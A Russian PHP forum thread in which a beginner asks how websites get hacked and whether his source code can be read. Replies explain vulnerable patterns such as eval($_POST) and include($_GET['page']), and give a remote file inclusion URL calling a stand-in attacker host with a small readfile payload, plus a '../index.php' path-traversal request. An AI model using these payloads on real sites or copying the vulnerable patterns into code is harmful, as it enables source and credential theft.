Как ломают сайты?

[Оливер Перри]

Как ломают сайты?

Чем больше я изучаю РНР, тем чаще задумываюсь о безопасности сайта, то и дело слышить, там взломали, да там взломали все говорят о безопасности, а я не могу понять откуда может исходить угроза.
У меня конкретный вопрос допустим
есть сайт http://www.mysite.ru
есть документ http://www.mysite.ru /some_page.php

Может ли посторонний получить код этого документа, не результат который формируется этим кодом, а содержание самого кода?

 

[specialist]

нет, если правильно настроен сервер

 

[Оливер Перри]

Так значит все эти програмы граберы это все туфта?

А получить доступ к переменным окружения и переменным сессии, вызвать функцию phpinfo() на моем сайте посторонний может?

 

[BRat]

нет, если ты сам этого не захочешь

 

[Dreammaker]

скорее, если не поможет своим кодом
типа eval($_POST['variable']);

 

[Фанат]

или include ($_GEt['page']);

Оливер Перри

Так значит все эти програмы граберы это все туфта?

какие "все"? Какие "эти"? Какие "граберы"?
О таких ,которые грабят исходные коды, я до сих пор не слышал. просвети меня, тёмного?

 

[Dreammaker]

Оливер Перри
введи в поисковиках remView.php и почитай статьи, которые с этим связаны...

много пустого, но общее представление о том, чем пользуется большинство современной хакерской молодёжь даст.

 

[SibProgrammer]

Автор оригинала: Фанат
или include ($_GEt['page']);

Include не поможет в раскрытии исходного кода some_page.php
В раскрытии исходного кода помогут, например, неаккуратные вызовы функций вызова программ (сорри за каламбур).
Другое дело, если вы храните исходный код в файлах, которые по умолчанию не обрабатываются php...
А вообще, существует множество статей на эту тему. Или почитать ман на эту тему - там есть даже отдельная глава.

 

[SiMM]

> Include не поможет в раскрытии исходного кода some_page.php
Да неужели?
Один из вариантов:
allow_url_fopen = On - http://www.mysite.ru/?page=http://hacksite.ru/crackem.all - crackem.all содержит всё, что душеньке угодно, при этом имеет доступ ко всем ресурсам www.mysite.ru, в том числе и исходникам.

 

[MD]

SibProgrammer
не поможет говоришь? пжалста
include('$_GET['page']');
и
$_GET['page'] = http://somewhere.com/somecode.php

 

[digs]

Оливер Перри
Пример как пытались ломать мой сайт.
У меня есть каталог doc в котором лежат тексты. Вызывается скрипт, которому например подается в качестве параметра имя файла из этого каталога. Например:
www.site.ru/index.php?action=viewdoc&file=sample.txt

отображение производилось считыванием файла sample.txt из каталога doc в переменную и выводом.
А теперь подаем команду
www.site.ru/index.php?action=viewdoc&file=../index.php

вот и получили код главного файла. Есстественно в таких случаях надо ставить защиту

 

[SibProgrammer]

Автор оригинала: SiMM
Один из вариантов:
allow_url_fopen = On - http://www.mysite.ru/?page=http://hacksite.ru/crackem.all - crackem.all содержит всё, что душеньке угодно, при этом имеет доступ ко всем ресурсам www.mysite.ru, в том числе и исходникам.

Читаем внимательно мой пост - в частности фразу "в раскрытии исходного кода some_page.php" Так как the include() statement includes and evaluates the specified file.
То есть я имел ввиду включение его на прямую.. Сорри, что не указал об этом явно

 

[SiMM]

SibProgrammer, мозг примени.

<?php // crackem.all in hacksite.ru
readfile('some_page.php');
?>

 

[Dreammaker]

SibProgrammer
и при этом переменные и константы становятся родными для скрипта-вредоносца. Например, если так подумать, то и подключение к базе данных...

хотя могу ошибаться...

 

[bgm]

а я не могу понять откуда может исходить угроза

От программиста и системного администратора.

 

[SibProgrammer]

Еще раз...
readfile - это одна функция..
include - это совсем другая
Так вот, include('some_page.php') - исходник не поможет раскрыть...
А вот от readfile('some_page.php')
Естественно, что на include можно, организовать сss-атаку, но этого я и не отрицал

-~{}~ 03.08.05 13:20:

Автор оригинала: Dreammaker
SibProgrammerНапример, если так подумать, то и подключение к базе данных...
хотя могу ошибаться...

Это абсолютно не нужно, т.к. самое главное (внедрение своего кода) будет уже выполнено. А дальше - все ограничивается только полетом фантазии..

 

[Dreammaker]

Вот как раз о том, что мы говорим.
http://xakker.h14.ru/hak_oshibphpskript.shtml

 

[dorfey]

Есть напрмер способ получить пароли к БД.
Периодически еще натыкаюсь на людей которые свои конфиги называют например db.inc, это ваще зло :/

 

[Demiurg]

css делается без всяких инклудов.

 

[SibProgrammer]

Я уже упомянул про ман.. Так вот лучше начинать читать с него, а не с всяких сайтов юных хакеров...

P.S. http://ru2.php.net/security